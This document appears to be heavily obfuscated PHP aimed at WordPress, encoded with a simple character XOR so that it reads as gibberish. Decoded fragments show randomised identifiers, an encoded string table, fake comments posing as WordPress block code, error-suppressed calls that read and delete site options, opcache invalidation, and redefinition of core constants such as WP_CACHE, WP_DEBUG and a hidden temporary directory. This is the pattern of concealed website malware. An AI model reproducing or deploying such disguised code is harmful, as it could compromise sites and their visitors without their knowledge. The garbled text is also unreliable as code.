91;1!!()55(((((nid{m!((,`k`}x=qac`WW((((5(|z}m3(((u((u((md{man( ((aozjlg0f<j1nk{ 91<8! ,ae{:onx`88$(((((jj`>dqcld1xlfd: >89!!(555((((((nid{m..(aozjlg0f<j1nk{ 9?:9! aW;~yrxiqyjro 91<9!$(((((,ae{:onx`88!!(s((,iz0`nkfk=?c<?(((5((|z}m3((((((u(((,n}ceq9}<?1g((((5((((nid{m3(((an((( f=9kn<:~9=<q:}j=? !!((s,r`y:ajq`f5=;:<3,`b1yam8c8zgfzr5,r`y:ajq`f-9=3(((an(( ((((((()rq;ec{mmgl| 9?:9! jj`>dqcld1xlfd: 91<:!$((((,ae{:onx`88!tt((((()aozjlg0f<j1nk{ 9?:9! aozjlg0f<j1nk{ 91<;!$(,ae{:onx`88!(tt()jj`>dqcld1xlfd: 91<<! rq;ec{mmgl| 91<=!$((((,ae{:onx`88!(!((,n}ceq9}<?1g(5(((((|z}m3(u(an( ),zrq=q1{b8cnrak(..((((),bWmjc9rp<~~oy(((..(),`k`}x=qac`WW(..(((),n}ceq9}<?1g(((((..((((),iz0`nkfk=?c<?!(zm|}zf3((,izenry{a<`((5((**3((((,ebezm{a8c:j8o9}~(5(((,ae{:onx`883(an( ,zrq=q1{b8cnrak!(((s(((an((( rq;ec{mmgl| 9?01! aW;~yrxiqyjro 91<>!$(((,ae{:onx`88$((,xlxqja1j`?rg;fc!!((,izenry{a<`((&5(((aozjlg0f<j1nk{ 91<?! *Tf*$(,xlxqja1j`?rg;fcS8U!3((((,ebezm{a8c:j8o9}~((5(aW;~yrxiqyjro 918;! jj`>dqcld1xlfd: 91<0!$(((**$(((,ae{:onx`88!3(((an(( )jj`>dqcld1xlfd: 91:>! ,ebezm{a8c:j8o9}~!!(((zm|}zf3(((an(( rq;ec{mmgl| 91<1! jj`>dqcld1xlfd: 91=8!$((((((,ebezm{a8c:j8o9}~$(((,dq;|=cr{=je~p9:!!(((((,izenry{a<`(&5(((*Tf*(&((rq;ec{mmgl| 91<?! *Tf*$((,dq;|=cr{=je~p9:S8U!3,ebezm{a8c:j8o9}~((5((jj`>dqcld1xlfd: 91=9! rq;ec{mmgl| 91=8!$(**$((((,ebezm{a8c:j8o9}~!3(an(( )jj`>dqcld1xlfd: 91:>! ,ebezm{a8c:j8o9}~!!(((zm|}zf3u((((an(((( ,bWmjc9rp<~~oy(..((((aozjlg0f<j1nk{ 91<<! jj`>dqcld1xlfd: 91=:!$(((,ebezm{a8c:j8o9}~!!(s(,ebezm{a8c:j8o9}~(((((5(aozjlg0f<j1nk{ 91=9! aW;~yrxiqyjro 91=;!$((jj`>dqcld1xlfd: 91=<!((((&(((((*lmnafm (/_XW\MEXWLAZ/$( (lmnafml (/_XWKGF\MF\WLAZ/(!(7(_XWKGF\MF\WLAZ(2(IJ[XI\@(&(/x%kgf|mf|/(!(&(/'&{kW|ex/(!3Tf*$(,ebezm{a8c:j8o9}~$(9!3((((((an( )aozjlg0f<j1nk{ 91==! ,ebezm{a8c:j8o9}~!!(zm|}zf3(((((u((((an(((( ,`k`}x=qac`WW(((((..(rq;ec{mmgl| 91=>! aozjlg0f<j1nk{ 91=:!$(,ebezm{a8c:j8o9}~!!((s(,ebezm{a8c:j8o9}~(5(((aozjlg0f<j1nk{ 91=?! aW;~yrxiqyjro 91=0!$((aW;~yrxiqyjro 91=1!(&((*lmnafm (/_XWKIK@M/$(|z}m(!3('"([KW_K("'Tf*$(,ebezm{a8c:j8o9}~$(((9!3((an((( )rq;ec{mmgl| 91==! ,ebezm{a8c:j8o9}~!!(zm|}zf3(((((u(md{man((( ,iz0`nkfk=?c<?!((((s(,ebezm{a8c:j8o9}~(((((5(rq;ec{mmgl| 91>8! aW;~yrxiqyjro 91>9!$(jj`>dqcld1xlfd: 91=1!(&(*lmnafm (/_XWKIK@M/$(|z}m(!3('"([KW_K("'Tf*$((,ebezm{a8c:j8o9}~$(((((9!3(((an((( )aozjlg0f<j1nk{ 91==! ,ebezm{a8c:j8o9}~!!((((((zm|}zf3(u((((((an(( ,n}ceq9}<?1g!((((s((((((,ebezm{a8c:j8o9}~(((((5((aozjlg0f<j1nk{ 91>8! aozjlg0f<j1nk{ 91>:!$((((**$(((,ebezm{a8c:j8o9}~!3(((an( )jj`>dqcld1xlfd: 91==! ,ebezm{a8c:j8o9}~!!(((zm|}zf3an(((( aW;~yrxiqyjro 91>;! aozjlg0f<j1nk{ 91=0!$(((,ebezm{a8c:j8o9}~!!((((s((((((,ebezm{a8c:j8o9}~(5(rq;ec{mmgl| 91><! rq;ec{mmgl| 91=0!$(rq;ec{mmgl| 91>=!((&(((*lmnafm (/_XWLMJ]O/$(|z}m(!3Tflmnafm (/_XWLMJ]OWDGO/$(|z}m(!3Tflmnafm (/_XWLMJ]OWLA[XDIQ/$(nid{m(!3Tf*$(,ebezm{a8c:j8o9}~$((((9!3((((((an((( )aozjlg0f<j1nk{ 91>>! ,ebezm{a8c:j8o9}~!!((zm|}zf3u((u((((((an(((((( ,ebezm{a8c:j8o9}~((555((,ae{:onx`88!((zm|}zf3((an(((( )~rl=fzla18ykW?jkrj} ,ebezm{a8c:j8o9}~!!(((((zm|}zf3((an(( ,`k`}x=qac`WW((((((..()f89kW1g}g|i=ira ,lm:yeg9ineej?x$((((,ae{:onx`88!!(s((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 91>?!$(((aW;~yrxiqyjro 9><9!!3(,ebezm{a8c:j8o9}~(((5(aW;~yrxiqyjro 91><! aW;~yrxiqyjro 91>0!$((rq;ec{mmgl| 91>1!$((((,ebezm{a8c:j8o9}~$((((9!3(((an((( )jj`>dqcld1xlfd: 91>>! ,ebezm{a8c:j8o9}~!(((tt(((((,ebezm{a8c:j8o9}~(555(,ae{:onx`88!((((((zm|}zf3((((((an(((( )~rl=fzla18ykW?jkrj} ,ebezm{a8c:j8o9}~!!(((zm|}zf3(u(((((,Wlei8:pnpi{zjj((5(Hnadmxmze{ ,lm:yeg9ineej?x!3((((((,Wlei8:pnpi{zjj(((5(((( ,Wlei8:pnpi{zjj((555((nid{m!((7( 8p9:i#8p?i!(((2((((( ,Wlei8:pnpi{zjj(((((.(( :>0#:<;!!3(,{o9:qbky{<;g1(5((Hjj`>dqcld1xlfd: 918>! ,lm:yeg9ineej?x!3(((,d>g81x0W`i:>z(5((Haozjlg0f<j1nk{ :>! aW;~yrxiqyjro 919;! ,lm:yeg9ineej?x!$(((((jj`>dqcld1xlfd: 91?8!!3((((((an((( ,d>g81x0W`i:>z(555((((nid{m!(((((zm|}zf3(((an((((( Hjj`>dqcld1xlfd: 9188! ,d>g81x0W`i:>z$((((,ebezm{a8c:j8o9}~!((()55((((aW;~yrxiqyjro 918:! ,ebezm{a8c:j8o9}~!!(sHjj`>dqcld1xlfd: ??9! ,d>g81x0W`i:>z!3((((zm|}zf3u((Hjj`>dqcld1xlfd: 91?9! ,d>g81x0W`i:>z$((,Wlei8:pnpi{zjj!3(an( )HaW;~yrxiqyjro 911! ,d>g81x0W`i:>z$((,lm:yeg9ineej?x!!((((s'"(nafa|m({k`ml}dmz("'(((((Hjj`>dqcld1xlfd: ??9! ,d>g81x0W`i:>z!3zm|}zf3(u((an((((( ,{o9:qbky{<;g1!(Haozjlg0f<j1nk{ :9! ,lm:yeg9ineej?x$((,{o9:qbky{<;g1!3((an( aozjlg0f<j1nk{ 90?9! jj`>dqcld1xlfd: 9180!!!((((Hgxkik`mWaf~idali|m ,lm:yeg9ineej?x$((((|z}m!3((((an((( rq;ec{mmgl| 91<1! aozjlg0f<j1nk{ 91?:!$((((,izenry{a<`$(,{b{`lj~=}ez~!!((((s(((ngzmik`(( aozjlg0f<j1nk{ 9:0:! ,{b{`lj~=}ez~S9U!((((i{((,}8z;yar1acpn!(((s(an(( aW;~yrxiqyjro 91?;! ,}8z;yar1acpn$((((aozjlg0f<j1nk{ 91:0!!((((555(((8(..((((HaW;~yrxiqyjro 91:8! ,}8z;yar1acpn!!(Hrq;ec{mmgl| ??9! ,}8z;yar1acpn!3(u(((uan((( aW;~yrxiqyjro 90?9! jj`>dqcld1xlfd: 91?<!!((((((..(aW;~yrxiqyjro 91<1! aW;~yrxiqyjro 91?=!$(((,izenry{a<`$(((,`q?fq9a9a<j`a<!!(s(((ngzmik`((( aW;~yrxiqyjro 91?>! ,`q?fq9a9a<j`a<S9U!((i{(,x;e<`a>xzyf!((san((((( aozjlg0f<j1nk{ 91>;! aW;~yrxiqyjro 91??!$((,x;e<`a>xzyf!!((Hlmdm|mWgx|agf ,x;e<`a>xzyf!3(u(((((u(((u(((((n}fk|agf((ey;=kp;>d?z><gxz>} !(((s(((((an( )lmnafml rq;ec{mmgl| 91?0!!!((zm|}zf3((,e191ilbp:jg((((((5((((lmnafml aozjlg0f<j1nk{ 9>>?!!((((7((_XE]WXD]OAFWLAZ((2((((((_XWKGF\MF\WLAZ(((&((rq;ec{mmgl| 91?1!3,z|W|cboq`ncq:(((((5((izziq !3((((((((an(( jj`>dqcld1xlfd: 9108! aozjlg0f<j1nk{ 9109!!!(s(((((an(( HaW;~yrxiqyjro 91;=! ,e191ilbp:jg!!((ngzmik`(((  izziq!(Hjj`>dqcld1xlfd: 9109! ,e191ilbp:jg(((&((((rq;ec{mmgl| >>:!!((i{((((,~z`0?:ijok{8!((((((,z|W|cboq`ncq:SU(5(,~z`0?:ijok{83(((an( lmnafml aW;~yrxiqyjro 0:0!!(..(Hrq;ec{mmgl| 910:! _XWXD]OAFWLAZ!!(((ngzmik`((((  izziq!((((Haozjlg0f<j1nk{ 9109! _XWXD]OAFWLAZ(&(aW;~yrxiqyjro 910;!!(((i{((((,~z`0?:ijok{8!(,z|W|cboq`ncq:SU(5(((((,~z`0?:ijok{83((u((((((,xpilb{qyifgo(5(((((lmnafml aW;~yrxiqyjro 919?!!(((7(IJ[XI\@((2((((**3(((,cg9;j=}c0=jy(((((5((_XWKGF\MF\WLAZ((&(((aW;~yrxiqyjro 910<!((&(((rq;ec{mmgl| 9?10! aozjlg0f<j1nk{ 9?>=! ,xpilb{qyifgo((&(((aW;~yrxiqyjro <=!!$(((((8$( 98%:!!(&((aW;~yrxiqyjro 910=!(((&(((rq;ec{mmgl| 9?10! jj`>dqcld1xlfd: 9?>=! ,xpilb{qyifgo((&((aozjlg0f<j1nk{ <?!!$(8$( 9:;V99=!!(&((jj`>dqcld1xlfd: 9?>9!3an( Haozjlg0f<j1nk{ 910>! ,cg9;j=}c0=jy!!(,z|W|cboq`ncq:SU((5(,cg9;j=}c0=jy3(ngzmik`(((( ,z|W|cboq`ncq:((i{(,~z`0?:ijok{8!(s,{o9:qbky{<;g1(5(Hjj`>dqcld1xlfd: 918>! ,~z`0?:ijok{8!3(an(( ),{o9:qbky{<;g1(tt( ,{o9:qbky{<;g1((-(((( 99>=08%9>=08!!()55(((( 1;09:#?!!(((s((((,i90py?arnz`j(((((5(HaW;~yrxiqyjro 91:<! ,~z`0?:ijok{8!3an(((( ),i90py?arnz`j((tt(((,i90py?arnz`j((4(( <09#91!((tt(((,i90py?arnz`j((((6((((( :?1?:<=:#:<<=>;<0!!((((kgf|af}m3((u''(_X(Kg~mz(Jdgkc(xdikm`gdlmz(jd}z,oz1pnqbi=if<~b((5((Hjj`>dqcld1xlfd: 910?! ,~z`0?:ijok{8!3''(_X(Emlai(\mp|(Jdgkc2(}flmkalijdm(kgf|zi~izaif|(,rbmnbr{>j=~m;da0(((5(Hjj`>dqcld1xlfd: 9100! z9>1{1jm8r8;e~8 !!3(((((((an(( jj`>dqcld1xlfd: 91>>! ,oz1pnqbi=if<~b!((((..((jj`>dqcld1xlfd: 91>>! ,rbmnbr{>j=~m;da0!(..((,oz1pnqbi=if<~b(((555(((,rbmnbr{>j=~m;da0!(kgf|af}m3(,~?kp|{1;r<g((((((5((HaW;~yrxiqyjro 91;0! ,~z`0?:ijok{8$(((nid{m$(((((f}dd$((8$((( >=??%:<09!!3(((an((( )aozjlg0f<j1nk{ 91>>! ,~?kp|{1;r<g!(((tt(((aozjlg0f<j1nk{ 91?;! ,~?kp|{1;r<g$((aW;~yrxiqyjro 9101!!((((555(nid{m!(kgf|af}m3,c=q?{8y0:}jo}o598">3,`nbmg8d>d5,c=q?{8y0:}jo}o%;93(((an( )jj`>dqcld1xlfd: 9118! jj`>dqcld1xlfd: 9119!$(((((,~?kp|{1;r<g$(,eqryx|pk|p!!((kgf|af}m3(an( )~mz{agfWkgexizm ,eqryx|pk|pS9U$((ojcir|0ro>gifi>;n?| !$(((((/4/!!((((kgf|af}m3(((,cb{ycbfcdpyx(((((5((}{opyco<ikm<o?zxqboaod ,~z`0?:ijok{8!3an( ,cb{ycbfcdpyx(555(((nid{m!(((s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9010!$((jj`>dqcld1xlfd: 911:!(&(((((rq;ec{mmgl| 911;! ,~z`0?:ijok{8!!3(((((((kgf|af}m3(u''(mfijdm({cgdme(ngz(_X(^mz{m(Jdgkc(((an((( ,cb{ycbfcdpyx(555(|z}m!(s((an(( `z?d~=rb8j}Wcx: ,~z`0?:ijok{8$((((,~z`0?:ijok{8((&((aW;~yrxiqyjro 910!!!((san(((( aozjlg0f<j1nk{ 9108! aW;~yrxiqyjro 911<!!!((((Hgxkik`mWaf~idali|m ,~z`0?:ijok{8$(|z}m!3((((u(Hrq;ec{mmgl| ??9! aW;~yrxiqyjro 919;! ,~z`0?:ijok{8!(((&(((jj`>dqcld1xlfd: ?11!(((&(((jj`>dqcld1xlfd: 911=! ,~z`0?:ijok{8$(jj`>dqcld1xlfd: 9?>9!!!3kgf|af}m3(u(((((HaW;~yrxiqyjro ??9! ,~z`0?:ijok{8!3(Hjj`>dqcld1xlfd: ??9! aozjlg0f<j1nk{ 919;! ,~z`0?:ijok{8!(((&((jj`>dqcld1xlfd: ?11!(&((jj`>dqcld1xlfd: 911=! ,~z`0?:ijok{8$((((rq;ec{mmgl| 9?>9!!!3((an(( jj`>dqcld1xlfd: 9108! jj`>dqcld1xlfd: 911<!!!(Hgxkik`mWaf~idali|m ,~z`0?:ijok{8$((|z}m!3u((((((rkpio>`8:q~g8adm< !3((((,qfizb88fx~1((((5((_XWKGF\MF\WLAZ(((&((((aW;~yrxiqyjro 9:=>!3((an(( Haozjlg0f<j1nk{ 910:! ,qfizb88fx~1!(((((..(aW;~yrxiqyjro 9108! aozjlg0f<j1nk{ 911>!!!(((s((((ngzmik`(  izziq!((Hjj`>dqcld1xlfd: 911?! ,qfizb88fx~1(&(((((jj`>dqcld1xlfd: 9110!!((((((i{(,~eqqeli<~?!(((s((an(( )HaW;~yrxiqyjro 9111! ,~eqqeli<~?!(tt(()Hrq;ec{mmgl| 91;>! ,~eqqeli<~?!!(kgf|af}m3(,|kx||<nWg}j:||o`((((5(((HaW;~yrxiqyjro :888! ,~eqqeli<~?!3(an(((( ),|kx||<nWg}j:||o`(((tt((,|kx||<nWg}j:||o`(6(( 8p?9:li#8p90ml:>!!((((kgf|af}m3((,kyr;afbc~mb;((5(Hjj`>dqcld1xlfd: 91;0! ,~eqqeli<~?!3an((((( )aW;~yrxiqyjro 91>>! ,kyr;afbc~mb;!!((((kgf|af}m3((((an(( aozjlg0f<j1nk{ :889! ,kyr;afbc~mb;$(jj`>dqcld1xlfd: :88:!!(555(nid{m(((..(aozjlg0f<j1nk{ :88;! ,kyr;afbc~mb;$((((jj`>dqcld1xlfd: :88<!!((555((((nid{m((((..(aozjlg0f<j1nk{ :88;! ,kyr;afbc~mb;$(aozjlg0f<j1nk{ :88=!!(((((555((((nid{m!(kgf|af}m3an( )r8?j}};p=1dd;? ,kyr;afbc~mb;!!((kgf|af}m3,oWggf|<;i~9rnj8(5(~Wbxzb>=x0qyla ,kyr;afbc~mb;!3(an((( jj`>dqcld1xlfd: 91>>! ,oWggf|<;i~9rnj8!((..((((,oWggf|<;i~9rnj8((()55(,kyr;afbc~mb;!(((s(({jynjr};<k;ff=~{9pbapx ,~eqqeli<~?$(,oWggf|<;i~9rnj8!3an( aW;~yrxiqyjro 9108! aW;~yrxiqyjro 911<!!!(((((Hgxkik`mWaf~idali|m ,~eqqeli<~?$((|z}m!3(((u(u((((((u((((xdWfff{>fer{}:1:| _XWKGF\MF\WLAZ(((&(jj`>dqcld1xlfd: 9;1<!!3(xdWfff{>fer{}:1:| _XWKGF\MF\WLAZ((&((((jj`>dqcld1xlfd: =?=!!3((an((((( aW;~yrxiqyjro 9108! aW;~yrxiqyjro 90=>!!(((..((((((jj`>dqcld1xlfd: 9108! jj`>dqcld1xlfd: :88>!!((((..((rq;ec{mmgl| 9108! jj`>dqcld1xlfd: :88?!!!(s,c<xfo~j8>fg59;0:3,g:<`{=gn:di|5,c<xfo~j8>fg-9;3(,Wgf(5((g{mxxjmmdpz1}` IJ[XI\@((&(jj`>dqcld1xlfd: :880!$( =449!!3(,~ym9lc;i?{i(((5((Hom|Wgx|agf ,Wgf$(((**!3(((an((( jj`>dqcld1xlfd: 91>>! ,~ym9lc;i?{i!(..(((,~ym9lc;i?{i(((((()55((((**!(((s(,f:~:my=`eibrn((5(((rq;ec{mmgl| <8:! ,~ym9lc;i?{i$(|z}m!3an( aozjlg0f<j1nk{ 91>>! ,f:~:my=`eibrn!((((..(((oc?>n:`qmp?a9<im{9 ,f:~:my=`eibrn!!((Hlmdm|mWgx|agf ,Wgf!3((u((,~kanW0cz8bagd1(5((((aozjlg0f<j1nk{ 9108! aW;~yrxiqyjro :881!!(((7((((`ja}:~bo1<;}zr;fcWWp rq;ec{mmgl| 98:9!$(**!(2(**3((an( aW;~yrxiqyjro 91>>! ,~kanW0cz8bagd1!(..((,~kanW0cz8bagd1(()55(**((..( aozjlg0f<j1nk{ 918:! ,~kanW0cz8bagd1!(6((( 98<0==:#:<!(((tt(( aozjlg0f<j1nk{ 9108! aozjlg0f<j1nk{ :898!!(..((j9zoz:k9qe=j`y=|m1r>9 ,~kanW0cz8bagd1!!((tt((((jz1edbk9lzy~p ,~kanW0cz8bagd1!!!(((((san( rq;ec{mmgl| :899! aW;~yrxiqyjro :89:!!!(((((brWd:drr>|qrizlfce::~ jj`>dqcld1xlfd: 98:9!$((**$(aW;~yrxiqyjro :89;!!3uuu((((((n}fk|agf((dcn~jkaoykk=k{< !(s,WeqWqo{m|r}5X@XWEIBGZW^MZ[AGF3,}W1?im{Wkqrc<5,WeqWqo{m|r}"<3((|zq(s((an(((( )lmnafml aozjlg0f<j1nk{ 919?!!!((((zm|}zf3(((((an(( )mex|q ,ODGJID[Sjj`>dqcld1xlfd: :89<!U!!(s(((,ODGJID[Sjj`>dqcld1xlfd: :89<!U((((((5(((((83gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| :89=!$((aW;~yrxiqyjro :89>!!3(u''(_X(Jdgkc(\zif{ngze{2(mpxgfmf|aid(zafo%j}nnmz((an((((( )mex|q ,ODGJID[Saozjlg0f<j1nk{ ?1?!U!!(zm|}zf3(,ODGJID[Saozjlg0f<j1nk{ ?1?!U(((5((|z}m3(((an(((( )a{{m| ,WOM\SaW;~yrxiqyjro 90::!U!((..(aozjlg0f<j1nk{ :89?! rq;ec{mmgl| 90=>!!(((((..((aW;~yrxiqyjro :89?! rq;ec{mmgl| =::!!!(((s((((((,`W}no1p;;j{<((5(((Hom|Wgx|agf aozjlg0f<j1nk{ 90<;!$((izziq !!3((((((,jd8W=09?f~(5(nid{m3((an(( aozjlg0f<j1nk{ 90:9! ,`W}no1p;;j{<!!(((((s,}={iie={k0>n950#=83,d1kn|0zdiejg|15,}={iie={k0>n9%;03an(((( )mex|q ,`W}no1p;;j{<S/|/U!(..((jj`>dqcld1xlfd: 900:! !(((%(( af|!(((,`W}no1p;;j{<SaW;~yrxiqyjro :890!U((4(( :9;<%;;<!!(,jd8W=09?f~((5(|z}m3(((((an(((( ),jd8W=09?f~(..(()mex|q ,`W}no1p;;j{<Sjj`>dqcld1xlfd: 900<!U!(((..(aW;~yrxiqyjro :891! ,`W}no1p;;j{<Srq;ec{mmgl| 900<!U!!(((sngzmik`((( ,`W}no1p;;j{<Srq;ec{mmgl| 900<!U((((i{(((,Wka!((s(an((( aozjlg0f<j1nk{ :891! ,Wka!((..(aozjlg0f<j1nk{ 900:! !(((%( af|!((,WkaSaozjlg0f<j1nk{ :890!U(((4((((( 9?>9#;1!!(s(,jd8W=09?f~(5(((|z}m3(jzmic3(uu(((u(u((((an(((( ,jd8W=09?f~!(aozjlg0f<j1nk{ :8:8! aozjlg0f<j1nk{ 90<<!!3u((an(( rem9ln;b0>:j~|k9reo= z9>1{1jm8r8;e~8 !!!(zm|}zf3(ey;=kp;>d?z><gxz>} !3((((g1{o;ei`f:;c< z9>1{1jm8r8;e~8 !$(ojcir|0ro>gifi>;n?| !!3(((an( )io`~qa?01=f{f<l8o !!(((((s((((jk0|=ygWr0pWyoacWqde !3({=lfpcczcrzz?yko8W8{ !3(((zm|}zf3''(|`zmil%{inm(nik|gzqu(((,~<nor9>l8n((((((5(}ql:?yp08{}elk0~|}1ni !3(((,z~k0qj0re<x:g0(((5((izziq (((z9>1{1jm8r8;e~8 !$(((,~<nor9>l8n(((((&(((jj`>dqcld1xlfd: =?=!$!3(,ez=n`1jgy=((5(((n;eb:g?;kdb=b~ !3((ngzmik`(( ,ez=n`1jgy=(((i{((((,ban8z|0lfk0aq}|!(san((((( Haozjlg0f<j1nk{ 9111! ,ban8z|0lfk0aq}|!!(((,z~k0qj0re<x:g0SU((((5(((((,ban8z|0lfk0aq}|3(u((,gjax??~z?(5(izziq !3((((((an(( d9l89e=i11ob1ynj9p !!(((((s((((,~aWmjdq~d=((5((g{mxxjmmdpz1}` IJ[XI\@((&(((aozjlg0f<j1nk{ 981:!$((((( ;#=!!((&(aW;~yrxiqyjro 9?>9!3,eq|<c=qn8coo5 8pl0#8p=m!3,W{qer:1cmWd5,eq|<c=qn8coo-9<3,gjax??~z?Saozjlg0f<j1nk{ :8:9!((&(((IJ[XI\@(((&(jj`>dqcld1xlfd: 9<1;!U((5((((,~aWmjdq~d=3((,gjax??~z?SaW;~yrxiqyjro :8:9!(&(((,~<nor9>l8n(((&(aozjlg0f<j1nk{ :8::!U(((5(,~aWmjdq~d=3(((((u((,z~gg{W1z9W`gy}0;(((5(aozjlg0f<j1nk{ :8:;! aW;~yrxiqyjro 9<0;!!(7(Haozjlg0f<j1nk{ 9<0;! aozjlg0f<j1nk{ :8:<!!(((((2((nid{m3((an(((((( aW;~yrxiqyjro :8:=! ,z~gg{W1z9W`gy}0;!((..(((,z~gg{W1z9W`gy}0;(()55((((**!((((s((,qzr<yxl=dj(5( af|!(om|Wgx|agf rq;ec{mmgl| 9<<1!$((8!3an( ),qzr<yxl=dj(tt(((aozjlg0f<j1nk{ 900:! !((%((((,qzr<yxl=dj((((65((( 999;88%:<188!!((s,g=08g=mae1qcr((((5((g{mxxjmmdpz1}` IJ[XI\@((&((jj`>dqcld1xlfd: :8:>!$(( 9<%>!!((&((rq;ec{mmgl| 9?>9!3,gjax??~z?Saozjlg0f<j1nk{ :8:9!(&(((aozjlg0f<j1nk{ :8:?! IJ[XI\@$(aozjlg0f<j1nk{ 9<9?!!(&(/'/((&(((((,z~gg{W1z9W`gy}0;U(5((,g=08g=mae1qcr3,gjax??~z?Srq;ec{mmgl| :8:9!((&((,~<nor9>l8n((&(((/'/(&(((,z~gg{W1z9W`gy}0;U((5(((((,g=08g=mae1qcr3(((((((u(u,W{;n>:|iigd(((5(((daoxe<{;:;W<mx !3(((an(( Hrq;ec{mmgl| 9111! ,W{;n>:|iigdS9U!!(,gjax??~z?Saozjlg0f<j1nk{ :8:0!((&(((,W{;n>:|iigdS8UU((5(((aW;~yrxiqyjro :8:1!((((&(,W{;n>:|iigdS:U3((((((((,Wc>`1yz}i~(((5((((Hom|Wgx|agf rq;ec{mmgl| :8;8!$(((izziq !!3((an(((((( )aozjlg0f<j1nk{ :891! ,Wc>`1yz}i~!!(,Wc>`1yz}i~(((5((((izziq !3((,zz`}mldi`zlj8(5(nid{m3(ngzmik`((((( ,z~k0qj0re<x:g0(i{((,fd8pcbk08m0!(s,j;m`ejzana<599#=>3,ejya{08armaq1~5,j;m`ejzana<%<<3((,qic~c?dalj=z|:q:(((5((HaW;~yrxiqyjro :8;9! ,fd8pcbk08m0!3(((((,l?Wc:9W9mo}(5((((((,qic~c?dalj=z|:q:((7((((( ,qic~c?dalj=z|:q:Sjj`>dqcld1xlfd: :8;:!U((((&((/t/(&((,qic~c?dalj=z|:q:Srq;ec{mmgl| :8;;!U!((2(((((/8/3((,dx`aqp}bgxx:x((((5(a{{m| ,Wc>`1yz}i~S,fd8pcbk08m0U!((7(,Wc>`1yz}i~S,fd8pcbk08m0U(2((**3(an((( ,l?Wc:9W9mo}((555(((,dx`aqp}bgxx:x!(kgf|af}m3an( aW;~yrxiqyjro :8;<! aozjlg0f<j1nk{ :8;=!$(((,dx`aqp}bgxx:x$(((,akoc80yecamy`!(((..(((aW;~yrxiqyjro :8;>! ,dx`aqp}bgxx:x$((8$(%rq;ec{mmgl| 918:! ,akoc80yecamy`S8U!!(555(((((,l?Wc:9W9mo}(((..((((jj`>dqcld1xlfd: 900:! !(((%( af|!(,akoc80yecamy`S9U(((((4(( ;=<1#=9!!((((kgf|af}m3(((((,zz`}mldi`zlj8(5((((|z}m3(jzmic3(((uan(( ),zz`}mldi`zlj8!(((s(ngzmik`( ,gjax??~z?(((i{(((,cmq((56((((,ql}:~kdfcjy!((s(((,l?Wc:9W9mo}(5(((j`i}8?qix~:gx?fz rq;ec{mmgl| :8;?! ,cmq$(((( 9;1V9<:!!$((,ql}:~kdfcjy!3(,dx`aqp}bgxx:x(((((5(((a{{m| ,Wc>`1yz}i~S,cmqU!(((7(,Wc>`1yz}i~S,cmqU((2((**3((an((( ,l?Wc:9W9mo}((555(((,dx`aqp}bgxx:x!((((kgf|af}m3(((an((( jj`>dqcld1xlfd: :8;<! aozjlg0f<j1nk{ :8;=!$(,dx`aqp}bgxx:x$(,akoc80yecamy`!(((..(((jj`>dqcld1xlfd: :8;0! ,dx`aqp}bgxx:x$(((8$((%aozjlg0f<j1nk{ 918:! ,akoc80yecamy`S8U!!((((555(,l?Wc:9W9mo}(..((aozjlg0f<j1nk{ 900:! !((%((( af|!(((,akoc80yecamy`S9U((((((4( 0>;<9#=1!!((kgf|af}m3((,zz`}mldi`zlj8((5(|z}m3(((((jzmic3(((((u((((u(,afzklb>~Wnb(((5((((jj`>dqcld1xlfd: 911=! z9>1{1jm8r8;e~8 !$((aozjlg0f<j1nk{ 9?>9!!3,yn9yx9xk>m`f((5(,~<nor9>l8n((&((((rq;ec{mmgl| ==!(&((,afzklb>~Wnb(&(((((/'/(&(,afzklb>~Wnb(((((&((aozjlg0f<j1nk{ 9?>9!3(((((((,bW=r88cryn>i1((((((5((((;:9r~>>j8k:mlg1dWd: !3(((an(( )Haozjlg0f<j1nk{ :8;1! ,yn9yx9xk>m`f!((tt((((( af|!((HaW;~yrxiqyjro :8<8! ,yn9yx9xk>m`f!((((((4(( =01;%01;!!((,zz`}mldi`zlj8((5(|z}m3((an(( ,bW=r88cryn>i1(()55((**((..((()Hjj`>dqcld1xlfd: :8<9! ,bW=r88cryn>i1!!(((,zz`}mldi`zlj8((5((((|z}m3((((an((((( ),zz`}mldi`zlj8(..(jj`>dqcld1xlfd: :8<:! jj`>dqcld1xlfd: 90=>!!!(((s''(Hqamdl(}fanaki|agf((,jp|j?:;8r=((5(,afzklb>~Wnb(&(/'/((&(,afzklb>~Wnb(((&((((((jj`>dqcld1xlfd: :8<;!3((((((,aqrz?0of>{l?be((5(((om|Wgx|agf rq;ec{mmgl| ??0!$(izziq !!3((((((((an(( )aozjlg0f<j1nk{ :891! ,aqrz?0of>{l?be!(tt()aozjlg0f<j1nk{ ?1>! ,jp|j?:;8r=$((,aqrz?0of>{l?be$(((|z}m!!((,zz`}mldi`zlj8(((5((((|z}m3(((((u(((((((an( ),zz`}mldi`zlj8!((((zm|}zf3(((an(((( )keabp1?l:==10>dne1f<9 aozjlg0f<j1nk{ 089!!!((zm|}zf3((((((|zq(s(((((((j8axzo`b}8nj|?f !3(o>k`:?jdo:{?qei~re~`o8 !3,`8>e{?f`blp5X@XWEIBGZW^MZ[AGF3,rgz?a9~0Wz}ikp5,`8>e{?f`blp";3({=lfpcczcrzz?yko8W8{ !3(((((((l8:;np9gdqgbdo9lm~ja{ !3(fm{:k|fW~rq1=1 !3(((((((jk0|=ygWr0pWyoacWqde !3((((((kkoicrpexadexi0d} !3(jaabb18:ycncef<gkx !3,i{x?i8>xfe}q5?>";3,jeaWl9~1<z|p<i5,i{x?i8>xfe}q%<13(((,njb9??;iga((5(((((cippxlngam9q|;y=yi !3(((,gc0a{cdk`kda`qpq(5((lj;1<W{yrp=1i:y=p: !3(((((,eWy1Wr>`9<lkkb1((5(((izziq !3((((ngzmik`((((( ,z~k0qj0re<x:g0((((i{((,fd8pcbk08m0!(((s,c{;1ir>:qg{c|dm(((5((( ,fd8pcbk08m0((555((((,~<nor9>l8n(((&(((jj`>dqcld1xlfd: :8<<!((((..(((),njb9??;iga!((tt( rq;ec{mmgl| :8;0! ,fd8pcbk08m0$(% >#0!!((((((555(jj`>dqcld1xlfd: :8<=!((((((..(),gc0a{cdk`kda`qpq!3((((,qic~c?dalj=z|:q:((5(Haozjlg0f<j1nk{ :8;9! ,fd8pcbk08m0!3(an(((( ,qic~c?dalj=z|:q:!((s'"(fmoi|a~m%lmnafa|m(bg}zfid("'(((((,eWy1Wr>`9<lkkb1S,fd8pcbk08m0U((5(((((,qic~c?dalj=z|:q:Srq;ec{mmgl| 